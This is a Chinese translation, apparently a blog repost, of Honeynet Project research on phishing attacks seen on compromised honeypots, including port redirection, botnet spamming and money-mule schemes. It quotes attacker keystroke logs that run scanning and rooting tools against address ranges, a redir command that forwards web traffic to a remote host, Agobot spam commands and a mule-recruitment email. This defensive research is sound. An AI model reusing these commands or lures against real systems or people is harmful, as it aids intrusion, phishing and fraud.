<P>通常情况下，网站钓鱼攻击的生命周期从钓鱼网站发布到互联网上后只有几个小时或几天的时间，我们的研究也发现网络钓鱼攻击在多台服务器上针对多个组织机构在同时并行进行。我们将使用两个典型的网络钓鱼攻击的实际案例所捕获的数据来进行阐述这些原理，其中一个案例是由德国蜜网项目组观察到，另一个由英国蜜网项目组观察到。在每个案例中，蜜网研究联盟的成员们都部署了有漏洞的Linux蜜罐，对这两个蜜罐的攻陷过程显示了相同的攻击模式：蜜罐的被扫描和被攻陷具有非常强的连续性，并包括预先创建的钓鱼网站和群发垃圾邮件工具的上传和使用。与我们观察到的几次其他的案例中类似，Rootkit和IRC服务器也同时在攻击过程中被安装，被攻陷的蜜罐同时被用以除网络钓鱼外的其他目的：如作为一个由罗马尼亚攻击者控制的IRC傀儡主机，同时也作为一个网络扫描器用以发现和攻击更多潜在的计算机（尽管蜜网体系框架阻止攻击者从被攻陷的蜜罐成功的攻击其他的服务器）。一些令人关注的差异也是非常显然的，不仅仅是在英国蜜网项目组观察到的案例中，也就是多个不同的组织几乎同时访问了被攻陷的主机，使得取证分析更加复杂。由于篇幅的限制，我们没有在本文中给出这些攻击的具体细节，而仅仅给出了我们所得到的经验以及钓鱼者如何进行网络钓鱼攻击。如果你对这些特定的攻击过程的更多具体细节感兴趣，你可以访问以下页面中的信息。 </P>
<P>蜜网配置概要介绍 </P>
<P>德国蜜罐攻陷案例的具体细节 </P>
<P>英国蜜罐攻陷案例的具体细节（时间表） </P>
<P>英国蜜罐攻陷案例的具体细节（内容分析） </P>
<P>下面的表格展示了在这两个案例中关键的因素及其差异的概要分析： </P>
<P>数据 </P>
<P>德国案例 </P>
<P>英国案例 </P>
<P>被攻陷的蜜罐 </P>
<P>Redhat Linux 7.1 x86. </P>
<P>Redhat Linux 7.3 x86. </P>
<P>部署位置 </P>
<P>德国企业网络 </P>
<P>英国 ISP 数据中心 </P>
<P>攻击方法 </P>
<P>"Superwu" autorooter. </P>
<P>"Mole" mass scanner. </P>
<P>被利用的漏洞 </P>
<P>Wu-Ftpd File globbing heap corruption vulnerability ( CVE-2001-0550 ). </P>
<P>NETBIOS SMB trans2open buffer overflow ( CAN-2003-0201 ). </P>
<P>获得的访问权限 </P>
<P>Root. </P>
<P>Root. </P>
<P>安装的 Rootkit </P>
<P>Simple rootkit that backdoors several binaries. </P>
<P>SHV4 rootkit. </P>
<P>可能的攻击者 </P>
<P>未知 </P>
<P>来自罗马尼亚康斯坦萨的拨号 IP 网络的多个组织 </P>
<P>网站行为 </P>
<P>下载多个构建好的以 eBay 和多家美国银行为目标的钓鱼网站 </P>
<P>下载一个预先构建的以一家美国主要银行为目标的钓鱼网站 </P>
<P>服务器端后台处理 </P>
<P>用于验证用户输入的 PHP script </P>
<P>拥有更高级用户输入验证和数据分类的 PHP script </P>
<P>电子邮件活动 </P>
<P>企图发送垃圾邮件 ( example 1 , example 2 ), 但被 Honeywall 所拦截 . </P>
<P>仅测试了邮件发送，可能是给钓鱼者同伙， Improved syntax and presentation. </P>
<P>群发电子邮件方法 </P>
<P>从一个中量级 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script </P>
<P>从一个小量级的 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script &#8211; 可能仅仅是一次测试。 </P>
<P>受害者是否到达钓鱼网站 </P>
<P>没有，垃圾邮件的发送和对钓鱼网站的访问被阻断 </P>
<P>有，在 4 天内有 265 个 HTTP 请求到达，但不是因为从服务器发出的垃圾邮件所吸引的(没有客户的个人信息被收集)。 </P>
<P>从对两个案例中钓鱼者的键击记录（使用Sebek捕获）的观察发现，攻击者在连接到已存在的后满后，立即开始工作，部署他们的钓鱼网站。这些攻击者的动作显示他们对服务器的环境非常熟悉，这也说明他们是前期攻陷这些蜜罐的组织中的成员，而且钓鱼攻击的整个企图也是非常明显且具有组织性的。从上传的网站内容经常指向其他的网站服务器和 IP 地址看来，很可能这些活动同时在多台服务器上同时在进行中。 </P>
<P>从对在这些案例中由攻击者下载的钓鱼网站内容的分析中可以明显的看出，钓鱼者在同时以多个知名的在线组织结构为假冒目标。预先精心构造、有官方标志的假冒钓鱼网站被例行性地部署到被攻陷的主机上－经常通过以不同的网页服务器根目录进行分离的&#8220;子站点&#8221;来同时架设多个组织结构的钓鱼网站，同时安装将垃圾邮件传播给潜在的受害者的必需工具。在英国蜜网项目组观察到的案例中，从FTP会话所列出的目录列表中可以确认这些攻击者已经很深的卷入垃圾邮件和网络钓鱼攻击中，预先构建的网站内容和邮件传播攻击被集中存放在一个集中的服务器上，并且看起来攻击的目标至少针对eBay、AOL和其他几个知名的美国银行。这些个别的网络钓鱼攻击看起来并不是隔离的单独的攻击事件，因为在这些案例中发布的垃圾邮件通常将受害者指向到几个同时存在的假冒网站服务器，同时这些垃圾邮件也同时是从多个系统中发出。从英国案例中蜜罐被攻击后第一个连入对钓鱼网站内容的HTTP请求也预示着并行的网络钓鱼攻击操作在进行。 </P>
<P>这个连入蜜罐的HTTP连接在攻击者在这台蜜罐主机上架设假冒的在线银行网站之前就已经发生，这确认了攻击者已经预先知道这台服务器可以被用来作为一个钓鱼网站的假设。在攻击者在架设这个钓鱼网站的同时，引诱受害者访问这个新钓鱼网站的垃圾邮件已经从另外一台主机上发出。 </P>
<P>我们对连入被攻陷的蜜罐请求假冒在线银行内容的HTTP请求连接的源IP地址数量和范围感到震惊。下面的图给出了在蜜罐从网络中断开前从各个IP地址访问钓鱼网站的HTTP请求的数目（包括每个IP单独计算和全部的HTTP请求）。 </P>
<P>访问英国蜜网项目组部署蜜罐上的钓鱼网站内容的源IP地址的顶层DNS域名、国家和主机操作系统的列表见 此页面 。要注意的是，在蜜罐被离线进行取证分析之前，尽管访问钓鱼网站的网页流量到达英国蜜网项目组部署的蜜罐，但并没有针对处理用户数据处理的 PHP 脚本的 HTTP POST 请求，因此在此次网络钓鱼攻击中，没有任何用户的信息被钓鱼者和我们获得。在本文提及的所有案例中，我们或是直接通报了目标机构关于攻击案例和任何相关的他们所需的相关数据，或是向当地的计算机应急响应组通报了所有相关的恶意行为。在所有案例中，没有任何受害者的私人信息被蜜网项目组和蜜网研究联盟的成员所捕获。</P>
<P>从这两个案例中的数据表明钓鱼者是非常活跃并且具有组织性的，在多个被攻陷的主机中快速地移动，并且同时以多个著名的组织结构为目标。同时数据也显示许多电子邮件用户被引诱访问假冒组织机构（如在线银行和商务网站）的钓鱼网站，网络钓鱼攻击已经给广大的互联网用户带来了安全风险。 </P>
<P>第二种网络钓鱼技术：通过端口重定向钓鱼 </P>
<P>在2004年11月，德国蜜网项目组部署了包含一个 Redhat Linux 7.3 蜜罐的经典 第二代蜜网 。虽然安装的是相当旧的操作系统版本，攻击者也能够非常容易就能攻破，但它令人惊讶地经过了两个半月后才被首次成功攻陷－这和以上提及案例中讨论的蜜罐快速被攻陷的情况形成显著的反差。更多关于此趋势的信息可以在&#8220;了解你的敌人&#8221;系列文章中的&#8220; 了解你的敌人：趋势分析 &#8221;中可以找到。 </P>
<P>在2005年1月11日，一个攻击者成功地攻陷了这台蜜罐，使用了针对 Redhat Linux 7.3 缺省安装存在的 OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability 的攻击脚本。此案例不寻常的是当攻击者获得被攻陷主机的访问权后，他并没有直接上传钓鱼网站内容。取而代之的是，攻击者在蜜罐上安装并配置了一个端口重定向服务。 </P>
<P>这个端口重定向服务被设计成将发往该蜜罐网站服务器的 HTTP 请求以透明的方式重新路由到另外一个远程的网站服务器，这种方式潜在地使得对钓鱼网站内容更难追踪。攻击者下载并在蜜罐上安装了一个称为 redir 的工具，此工具是一个能够透明地将连入的 TCP 连接转发到一个远程的目标主机的端口 重定向器。在此次案例中，攻击者配置该工具将所有到蜜罐 TCP 80 端口（ HTTP ）的流量重定向到一个位于 中国 的远程网站服务器的 TCP 80 端口。有意思的是，攻击者并没有在蜜罐上安装 Rootkit 以隐藏他的存在，这也说明攻击者并没有把被攻陷的主机的价值看的很重，同时并不担心被检测到。 </P>
<P>攻击者使用的建立端口重定向的指令如下： </P>
<P>redir --lport=80 --laddr= --cport=80 --caddr=221.4.XXX.XXX </P>
<P>另外，攻击者修改了 Linux 系统的启动脚本文件 /etc/rc.d/rc.local 从而保证 redir 端口重定向服务在蜜罐系统重新启动后也会被重新启动，提高了他们的端口重定向服务的生存能力。然后他们开始往外发送钓鱼垃圾邮件以引诱受害者访问此蜜罐，一个示例可以在 此 找到。（注意相关的敏感信息已经被混淆了）。 </P>
<P>为了进一步调查攻击者的活动，德国蜜网项目组的成员们干涉并偷偷摸摸修改了攻击者在蜜罐上安装的 redire 工具的配置，使其在 redir 程序内进行日志，使得更容易地观察到多少人接收到此垃圾邮件信息，并点击了其中的链接透明地访问重定向后的钓鱼网站内容。在将近 36 小时的时间段内， 721 个 IP 地址被 redir 重定向到钓鱼网站，我们又一次对这么多用户被发布的钓鱼邮件所引诱访问钓鱼网站内容而感到震惊。对访问端口重定向器的 IP 地址的分析可以在 这 找到（注意这些信息已经被清洁过，以保护访问钓鱼网站的用户，同时在我们的研究中仅记录了 IP 地址数据，任何机密性的用户数据没有被捕获）。 </P>
<P>本次攻击案例的一个概要时间线如下表所示： </P>
<P>日期 / 时间 </P>
<P>事件 </P>
<P>2004 年 11 月 1 日 </P>
<P>蜜罐受到首次扫描 </P>
<P>2005 年 1 月 11 日 19:13 </P>
<P>蜜罐上的 OpenSSL 服务被攻陷，端口重定向器被安装， 钓鱼垃圾邮件 被发送。 </P>
<P>2005 年 1 月 11 日 20:07 </P>
<P>对钓鱼网站内容的 网页请求 开始到达蜜罐。 </P>
<P>2005 年 1 月 13 日 8:15 </P>
<P>蜜罐被离线进行取证分析。 </P>
<P>第三种网络钓鱼技术：通过僵尸网络进行钓鱼 </P>
<P>蜜网项目组最近发布的一篇文章&#8220;了解你的敌人：跟踪 僵尸网络&#8221;介绍了一种追踪僵尸网络的方法。一个僵尸网络是由可被攻击者远程控制的被攻陷主机所构成的网络。由于他们的巨大数量（可以有成千上万的主机一起连接），当僵尸网络被用以分布式拒绝服务攻击时，可以对互联网社区构成巨大的威胁。在 2004 年 10 月的一次调查中，电子邮件安全公司 CipherTrust 得出了 70% 监视到的钓鱼垃圾邮件是从 5 个活跃的僵尸网络中的 1 个所发出的，但是我们的观察显示有更多的僵尸网络已经被用来进行发送垃圾邮件。尽管还没有一个显著的实际案例分析，在本节中我们还是给出了我们对可被攻击者以僵尸网络的方式进行网络钓鱼攻击的工具和技术的观察结果。 </P>
<P>案例时间表 </P>
<P>在从 2004 年 9 月到 2005 年 1 月的这段时期中，德国蜜网项目组部署了一系列安装未打补丁的微软 Windows 操作系统的蜜罐，以观察僵尸网络活动。我们开发了一个自动化部署的过程，使得蜜罐可以被重复性地部署，攻陷及离线分析。在此期间，超过 100 个不同的僵尸网络被发现，以及上千的文件被获取用以离线分析。 </P>
<P>分析 </P>
<P>一些在此研究项目中捕获的僵尸工具提供了在被攻陷主机上远程启动一个 SOCKS v4/v5 代理的能力。 SOCKS 为基于 TCP /IP 的网络应用程序提供了一种通用化的代理机制（ RFC 1928 ），可以被用来代理最普遍的互联网流量，如 HTTP 和 SMTP 等。如果攻击者能够成功地通过僵尸网络的控制使得各个远程傀儡主机上都开放 SOCKS 代理服务功能，那么该主机可以被用来发送大量的垃圾邮件，如果僵尸网络中包含成千上万的傀儡主机，那么攻击者可以轻易地发送巨大数量的垃圾邮件，而这些垃圾邮件的发送源头却是覆盖巨大 IP 地址范围的属于一些无戒备心用户的家庭 PC 机。 </P>
<P>不存在集中的控制点，以及其范围超出了国界使得很难对僵尸网络的活动进行追踪和阻断。这也使得僵尸网络为垃圾邮件发布者和钓鱼者提供了一种低风险的、但高回报的攻击方法。或许不会令人惊讶，富有傀儡资源的僵尸网络拥有者已经开始以犯罪为目标，并且目前也已经出现 租借 僵尸网络 的现象。为了赚取租金，僵尸网络的操作者将会给他的客户提供一个支持 SOCKS v4 的服务器 IP 地址和端口。已经有报道显示僵尸网络被出售给垃圾邮件发布者作为垃圾邮件的转发服务器。 " Uncovered: Trojans as Spam Robots ". 一些捕获的僵尸工具也实现了能够获取 Email 地址，或者通过傀儡主机发送垃圾邮件的特殊功能。下面的列表显示了一些在 Agobot （一个被攻击者非常普遍使用的僵尸工具，其变种也经常在我们的研究过程中被捕获）中实现的与垃圾邮件 / 钓鱼邮件相关的指令： </P>
<P>harvest.emails &#8211; 使得僵尸工具获得一个 Email 地址列表 </P>
<P>harvest.emailshttp &#8211; 使得僵尸工具通过 HTTP 获得一个 Email 地址列表 </P>
<P>spam .setlist &#8211; 下载一个 Email 地址列表 </P>
<P>spam .settemplate &#8211; 下载一个 Email 模板 </P>
<P>spam .start &#8211; 开始发送垃圾邮件 </P>
<P>spam .stop &#8211; 停止发送垃圾邮件 </P>
<P>aol spam .setlist - AOL - 下载一个 Email 地址列表 </P>
<P>aolspam.settemplate - AOL - 下载一个 Email 模板 </P>
<P>aol spam .setuser - AOL &#8211; 设置用户名 </P>
<P>aol spam .setpass - AOL －设置口令 </P>
<P>aol spam .start - "AOL - 开始发送垃圾邮件 </P>
<P>aol spam .stop - "AOL - 停止发送垃圾邮件 </P>
<P>关于这些指令实现的进一步信息，可以在 这 找到，以僵尸工具源码的注释形式给出。在 drone －一个由德国蜜网项目组开发的自定制 IRC 客户端的帮助下，通过利用我们的蜜网所捕获的网络连接数据将 drone 混入僵尸网络中，我们可以对僵尸网络如何被用以进行发送垃圾邮件 / 钓鱼邮件进行更深入的了解。以下将给出一些观察到的典型活动案例。 </P>
<P>实例 1 </P>
<P>在一个特定的僵尸网络中，我们观察到攻击者发出了以下指令（注意 URL 都已经被混淆了）： </P>
<P>.mm <A href="http://www.example.com/email/fetch.php">http://www.example.com/email/fetch.php</A>? 4a 005aec5d7dbe3b 01c 75aab2b 1c 9991 <A href="http://www.foobar.net/pay.html">http://www.foobar.net/pay.html</A> Joe did_u_send_me_this </P>
<P>.mm (mass emailing) 指令是一个一般化的 spam_start 指令的定制版本。这个指令接收以下 4 个参数： </P>
<P>一个包含多个 Email 地址文件的 URL </P>
<P>包含在垃圾邮件中的目标网站地址链接－这个网站可能是一个普遍的垃圾网页，也可能是一个钓鱼网站 </P>
<P>发送者的名字 </P>
<P>邮件的主题 </P>
<P>在本次攻击案例中，每次调用 fetch.php 脚本会返回 30 个不同的 Email 地址。对于每个收信者，将会构造一个 Email 邮件，将宣传指令中第二个参数给出的链接。在这个实例中，第二个参数的链接指向了一个企图在受害者主机上安装一个恶意 ActiveX 组件的网页。 </P>
<P>实例 2 </P>
<P>在另一个僵尸网络中，我们观察到在受害者 PC 上安装浏览器助手组件的攻击方式： </P>
<P>[TOPIC] # spam 9 :.open <A href="http://amateur.example.com/l33tag3/beta.html">http://amateur.example.com/l33tag3/beta.html</A> -s </P>
<P>.open 指令告诉每个僵尸工具打开所申请的网页并显示给受害者，在这个案例中，这个网页中包含一个浏览器助手组件，企图在受害者主机上安装自身。从这个 IRC 频道的名称可以显示出，这个僵尸网络也是用以发送垃圾邮件的。 </P>
<P>实例 3 </P>
<P>在另外一个僵尸网络上，我们观察到 spyware 传播的实例： </P>
<P><A href="http://public.example.com/prompt.php?h=6d799fbeef">http://public.example.com/prompt.php?h=6d799fbeef</A> 3a 9b 386587f 5f 7b 37f [...] </P>
<P>这个链接在对捕获到的恶意软件的分析中获得，它将受害者指向了一个提供&#8220;免费的广告传播软件&#8221;的公司的网页，这个网站包含了在企图访问客户端上安装 ActiveX 组件（推测是 adware 或 spyware ）的多个页面。 </P>
<P>普遍的攻击旋律 </P>
<P>在我们对网络钓鱼攻击的研究过程中发现了一些普遍的攻击旋律，攻击者显然在混合使用一些工具和技术来提高他们成功的机会。我们现在开始分析两种这样的技术－批量扫描和组合式攻击。 </P>
<P>批量扫描 </P>
<P>通过对一些被攻陷蜜罐的分析表明，系统是自动化的攻击脚本所攻陷，这些自动化攻击脚本通常被称为 autorooters 。在上面描述的两个案例中，一旦攻击者攻陷了蜜罐， autorooter 的 toolkits 就被上传到服务器上，然后攻击者就开始尝试扫描一些 IP 地址空间段来寻找其他同样存在漏洞的服务器（在德国案例中使用的称为 superwu 的扫描器，而在英国案例中使用了 mole 扫描器 ）。在英国案例中捕获的攻击者键击记录如下所示，显示了从被攻陷的蜜罐发起的批量扫描的实例。注意由于蜜网配置，这些往外的恶意流量会被阻断，从而这些攻击不会成功。 </P>
<P>攻击者解压缩扫描器，并尝试扫描 B 类地址空间段： </P>
<P>[2004-07-18 15:23:31 bash 0]tar zxvf mole.tgz </P>
<P>[2004-07-18 15:23:33 bash 0]cd mole </P>
<P>[2004-07-18 15:23:38 bash 0]./mazz 63.2 </P>
<P>[2004-07-18 15:24:04 bash 0]./mazz 207.55 </P>
<P>[2004-07-18 15:25:13 bash 0]./scan 80.82 </P>
<P>攻击者尝试攻击潜在的有漏洞的服务器： </P>
<P>[2004-07-19 11:56:46 bash 0]cd mole </P>
<P>[2004-07-19 11:56:50 bash 0]./root -b 0 -v ns1.victim.net </P>
<P>[2004-07-19 11:57:26 bash 0]./root -b 0 -v 66.90.NNN.NNNs </P>
<P>攻击者在一段时间后回来查看已经成功攻陷的服务器列表（这个列表是空的，由于蜜网的配置）： </P>
<P>[2004-07-23 08:13:18 bash 0]cd mole </P>
<P>[2004-07-23 08:13:20 bash 0]ls </P>
<P>[2004-07-23 08:13:25 bash 0]cat hacked.servers </P>
<P>攻击者尝试扫描更多的 B 类地址空间段，并随后测试对选择目标进行攻击： </P>
<P>[2004-07-24 10:24:17 bash 0]cd mole </P>
<P>[2004-07-24 10:24:19 bash 0]./scan 140.130 </P>
<P>[2004-07-24 10:24:27 bash 0]./scan 166.80 </P>
<P>[2004-07-24 10:25:36 bash 0]./scan 166.4 </P>
<P>[2004-07-24 10:26:23 bash 0]./scan 139.93 </P>
<P>[2004-07-24 10:27:18 bash 0]./scan 133.200 </P>
<P>[2004-07-24 10:36:37 bash 0]./try 202.98.XXX.XXX </P>
<P>[2004-07-24 10:38:17 bash 0]./try 202.98.YYY.YYY </P>
<P>[2004-07-24 10:38:27 bash 0]./try 202.98.YYY.YYY </P>
<P>在上述最后一个例子中，注意攻击者尝试攻陷的几个主机并不在从这个蜜罐扫描的 IP 地址范围内，这又一次提供了批量扫描行为的高协同性和并行性。 </P>
<P>对英国攻击者下载的 mole .tgz 文件的进一步调查揭示了在解压后的 aotorooter toolkit 的根目录中有一些 text 文件。这些文件包括扫描配置信息和之前扫描&#8220; grabbb2.x and samba 2.2.8 vulnerability &#8221;的扫描结果日志。在这些文件中还包含 42 个针对其他主机的攻击案例，以及针对多个 B 类地址空间扫描的结果，从而证明了观察到的攻击案例是一个更大的更具组织性的针对类似系统的攻击中的一部分。一个从攻击者的角度查看的 mole 扫描工具的输出结果的实例，可以在 这 找到。 </P>
<P>最后，一些从攻陷蜜罐上发现的批量扫描工具看起来并没有广泛地传播，这也显示了这些攻击者拥有超越基本的脚本小子的一定水平的开发能力和工具制造能力，或者是一个并没有将他们的工具共享给公开论坛的封闭社团的成员。又一次，这显示了具有良好组织性的攻击者的能力。 </P>
<P>组合式攻击 </P>
<P>在我们的研究中，我们也发现了钓鱼者经常组合三种不同的攻击技术。正如我们观察到，并在本文所描述的，一些时候多种方法将提供一些冗余性，并通过一个两层的网络拓扑配置保护他们的网络钓鱼攻击基础设置。下图描述了一种可能的网络钓鱼攻击拓扑结构： </P>
<P>在这个实例中，一个中央的网站服务器架设了物理上的钓鱼网站内容，通常包含针对多个目标机构的多个网站（如在 /ebay 目录下有 一个 eBay 钓鱼网站，在 .paypal 目录下有一个 PayPal 钓鱼网站 ）。一些被攻陷的远程主机在 redir 端口重定向器的帮助下将连入 TCP 80 端口的 HTTP 流量重定向到中央的网站服务器。这种方案从攻击者的角度看来比一个单一的钓鱼网站拥有以下的一些优势： </P>
<P>如果一台远程的 redir 主机被检测到了，那么受害者将把这个系统离线并重新安装，但这并不会对钓鱼者构成很大的损失，因为主钓鱼网站仍然在线，而且其他的 redir 主机仍然可以将 HTTP 流量转发到中央网站服务器。 </P>
<P>如果中央的钓鱼网站服务器被检测到，这个系统将被离线，但钓鱼者可以在一台新攻陷的主机上重新架设钓鱼网站，并重新矫正原先的 redir 主机重定向流量到代替的中央网站服务器。使用这种技术，整个网络可以很快地重新恢复可用，网络钓鱼攻击可以快速地重新开始。 </P>
<P>一台 redir 主机可以非常灵活，因为它可以通过非常简单地重新配置指向另外一个钓鱼网站。这也减少了从初始的系统攻陷到钓鱼网站可用的这段时间，从而增加了网络钓鱼攻击可以进行的时间长度。 </P>
<P>使用这样的组合攻击技术又一次验证了攻击者的高组织性和能力，而不仅仅是简单的脚本小子。类似的运行模型也经常被主流的网站服务提供商和超大容量数据内容提供商（如 Google ）所运用。 </P>
<P>进一步的发现：资金转账 </P>
<P>我们的研究同时也关注钓鱼者如何使用捕获的银行账号信息（如一个与相关的交易代号联系在一起的银行账号）。因为大多数银行都对跨国的资金流通进行监控，钓鱼者并不能简单地不引起金融权威机构注意下，从一个国家转移一大笔资金到另外一个国家。钓鱼者于是使用一些中介来为他们转移资金－以两阶段的步骤，钓鱼者先从受害者银行账号中把钱转移到一个同国中介人的银行账号中，中介人然后从他们的银行账号中提出现金（留下一定百分比作为他们的提供此转账服务的报酬）并寄给钓鱼者，如通过普通的地面信件。当然，这些中介人可能被捕，但是由于钓鱼者的钱已经在传输途中，他们并不会面对太大的安全风险，同时也可以很容易地转移他们的资金流通渠道到另外的中介人。一个可以说明在网络钓鱼攻击背后的金融结构的电子邮件实例如下： </P>
<P>Hello! </P>
<P>We finding Europe persons, who can Send/Receive bank wires from our sellings, from our European clients. To not pay TAXES from international transfers in Russia . We offer 10% </P>
<P>percent from amount u receive and pay all fees, for sending funds back.Amount from 1000 euro per day. All this activity are legal in Europe . </P>
<P>Fill this form: <A href="http://xxx.info/index.php">http://XXX.info/index.php</A> (before filling install yahoo! messenger please or msn), you will recieve full details very quickly. </P>
<P>_________________________________________________________ </P>
<P><BR>Wir, europ?ische Personen findend, die Bankleitungen davon Senden/erhalten k?nnen unsere Verk?ufe, von unseren Kunden von Deutschland. STEUERN von internationalen &#252;bertragungen in Russland nicht zu bezahlen. Wirerh?lt das Prozent des Angebots 10 % vom Betrag und </P>
<P>bezahlt alle Schulgelder, um Kapital zur&#252;ck zu senden. Betrag von 1000 Euro pro Tag. Diese ganze T?tigkeit ist in Europa gesetzlich. </P>
<P>F&#252;llen Sie diese Form: <A href="http://xxx.info/index.php">http://XXX.info/index.php</A> (bevor die F&#252;llung Yahoo installiert! Bote bitte oder msn), Sie recieve volle Details sehr. </P>
<P>Thank you, FINANCIE LTD. </P>
<P>这是一封从英文到德文的非常烂的翻译稿，可能是通过翻译软件自动产生的，这也说明攻击者并不是以英语为母语的。因为钱将会被转移到俄罗斯，所以攻击者很可能来自这个国家。资金转移行为也正随着网络钓鱼攻击越来越具组织性变得越来越普遍。 </P>
<P>Honeysnap &#8211; 一个攻击案例分析助手 </P>
<P>一个从我们开始分析被上述网络钓鱼攻击攻陷的蜜罐数据时立即得到的一个结论是：由于不同黑客组织同时进行的多个攻击，我们需要非常多的时间从网络的流量中去抽取和准备用于进一步详细分析的数据。这个数据抽取过程是重复性的且枯燥乏味的，如果由人工进行将会使得我们宝贵的分析时间的效率大打折扣。因此需要一个自动化的解决方案。 </P>
<P>由英国蜜罐项目组 David Watson 编写的 honeysnap 脚本正是基于此目的，被设计用来对蜜网日常捕获的数据为输入产生出一个简单的摘要输出，用于指导进一步的人工分析。 honeysnap 脚本对每个蜜罐的数据进行分类，提供了连出的 HTTP 和 FTP GETs 请求、 IRC 消息和 Sebek 键击记录日志列表功能，对关键网络连接能够进行自动化的 TCP 流重组，并抽取、标识和存储由 FTP 或 HTTP 下载的文件， honeysnap 脚本使得大多数消耗大量时间的攻击案例准备性工作都被移除，使得分析员能够集中精力人工地分析案例中的关键部分。 honeysnap 脚本还支持一个自动化的方法对包含感兴趣的关键字（如银行、账号、口令等）的 IRC 通讯进行显示，并提供日常性的 Email 报告功能。 </P>
<P>目前的 honeysnap 脚本的一个基本的概念证明性的 UNIX shell 脚本，其 alpha 版可以在此找到，同时一组 honeysnap 输出 示例可以在此找到。一个模块化的并完全扩展的以 Python 编写的版本目前正在由蜜网项目组的成员开发中，并将与 2005 年 6 月发布 beta 测试版。 </P>
<P>进一步的研究 </P>
<P>在本文给出的信息给出了在网络钓鱼攻击领域进行进一步研究的一些潜在方法，我们同时建议在以下的一些方面进行更深入的调查和研究： </P>
<P>我们希望能够调查蜜罐技术能否被用于帮助与垃圾邮件发送者和钓鱼者进行对抗。一个可能的研究项目是部署一些在上述观察到的网络钓鱼攻击中所通常使用类型的蜜罐，或是一些对垃圾邮件发送者具有很强的吸引力的蜜罐（ 如 SMTP open relays ），对攻击者对这些系统的攻击行为进行进一步的分析，能够帮助我们更深入地对网络钓鱼攻击进行剖析，特别是使用僵尸网络进行网络钓鱼这一领域，并能够对网络钓鱼攻击的创新进行跟踪。另外一个研究的可能性是进一步发展蜜罐的概念，研究客户端蜜罐技术，这种新一代的蜜罐工具能更活跃地参与到通讯网络中，例如，自动地随着垃圾邮件中的链接去访问目标网站内容。客户端蜜罐工具可以在 IRC 频道中发呆或通过 P2P 网络共享 / 下载文件，从而进一步地提高我们对这些通讯网络中所面临地安全威胁的了解。 </P>
<P>另外，我们期望能够对对付和阻止这些网络钓鱼攻击的潜在方法进行深入研究。因为从一个网络钓鱼攻击的开始到结束的时间周期可能只有几个小时或几天，同时攻击源也可能广泛地分布，所以这将是一个困难的任务。目前在此领域研究的工作（如 The AntiPhishing Group 和 PhishReport ）关注于依靠终端用户收集钓鱼邮件。虽然这是个可行的途径，但它只能在网络钓鱼攻击生命周期的最后阶段进行发现。 我们更需要 一个自动化地对网络钓鱼攻击捕获和响应的机制。 </P>
<P>我们怀疑这些账号和口令在黑客界会被进行交易流通，可能通过 IRC 。蜜网技术可以被用来捕获这些通讯，并更深入地了解网络钓鱼攻击行为。另外，网络钓鱼攻击工具经常可以从一些经常更新地中央网站服务器或 FTP 服务器上下载获得。尽管充满争议，但对这些活动可以进行监控或联系系统拥有者以帮助他阻止这些网络钓鱼攻击，同时我们应该建立一个体系框架，从而对这些活动进行研究，并提出潜在的对策。 </P>
<P>需要在提高案例分析的自动化进行进一步的研究工作，特别是对在这些攻击过程中捕获数据的自动轮廓生成。自动的流量和 IP 地址抽取， DNS 反向查询和 IP 地址块拥有者查询，针对每个 IP 地址或每个域名的流量摘要，以及被动的操作系统指纹辨识等功能在分析大规模的数据集时是非常有用的，在分析一个本地的包括已知主机、攻击者、攻击特征、消息内容等的取证数据库也是同样关键。在一个长期的规划中，需要建立共享这些信息的统一标准，以及一个全球的取证分析数据库从而支持对分布式的黑客活动进行分析，这也将是对整个互联网社区所高度需要和有显著意义的。 </P>
<P>结论 </P>
<P>在本文中我们展示了一些真实世界发生的网络钓鱼攻击的实际案例，以及在这些案例中攻击者进行的典型的行为。所有这些提供的信息都是使用高交互性的研究型蜜罐所捕获的，这又一次证明了蜜网技术在信息保障和取证分析领域里是一个强有力的工具。我们分析了攻击由德国和英国蜜网研究项目组部署的蜜罐的几次攻击。在两个案例中，钓鱼者攻击并攻陷了蜜罐系统，在攻陷主机后他们的动作开始有所差异。如下的网络钓鱼攻击各阶段的攻击技术被发现： </P>
<P>以著名的一些组织结构为目标，架设其钓鱼网站 </P>
<P>发送欺骗性垃圾邮件，引诱受害者访问钓鱼网站 </P>
<P>安装重定向服务，将网站流量都转发到已架设的钓鱼网站 </P>
<P>通过僵尸网络传播垃圾邮件和钓鱼邮件 </P>
<P>这些数据帮助我们了解钓鱼者的典型攻击行为和他们用来引诱和欺骗受害者的一些方法。我们已经学习到网络钓鱼攻击可以非常快地发生，在最初的系统入侵到一个钓鱼网站在线，并发出宣扬此网站的钓鱼垃圾邮件只有相当有限的时间，而这么快的攻击速度使得这些攻击者很难被追踪和阻止。 </P>
<P>我们的研究同时显示网络钓鱼攻击正在变得越来越普遍而且具有良好的组织性。我们已经观察到针对主要的几个在线组织机构的预先构建的钓鱼网站的归档，这使得钓鱼者可以在很短的时间内准备好进行钓鱼攻击，这也说明了背后隐藏着一个组织良好的钓鱼攻击团体。这些钓鱼内容可以通过利用端口重定向器或僵尸网络快速地进一步扩散。与批量扫描的证据和钓鱼网站内容中手动形式加入的 IP 地址，我们可以相信在一个时刻会有多个特定钓鱼网站的实例同时存在，在上传的钓鱼网站构建完成之前，到达这个刚被攻陷的服务器的网页浏览流量就已经被发现，而且在某个被攻陷主机上发出的钓鱼垃圾邮件也有可能并不是在引诱受害者访问发送邮件的这台主机，这些现象都说明有良好组织性的钓鱼团队在进行分布式和并行的钓鱼攻击。 </P>
<P>我们的研究工作显示了垃圾邮件、僵尸网络和网络钓鱼攻击之间一个清晰的连接关系，以及利用中介来完成最后的隐蔽性资金转账。这些观察到的现象，结合大规模的批量漏洞扫描和两层拓扑结构的钓鱼网络，都证明了钓鱼者所带来的真实威胁，钓鱼活动的组织严密性，以及他们所使用的相当高级的攻击技术。随着钓鱼攻击的技术门槛进一步增高及潜在的回报进一步增加，在未来几年中，网络钓鱼攻击的技术很可能进一步地发展，并且网络钓鱼攻击的数量也将进一步增长。减少可被僵尸网络控制的有漏洞的 PC 机，抑制数量不断增多的垃圾邮件，防止有组织性的犯罪活动，并且教育互联网用户关注来自社交工程的潜在安全风险，所有这些都还充满了挑战。</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/215630.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48001/" target="_blank">上海电信计划2012年80%用户实现100M带宽</a><br/>网站导航: <a 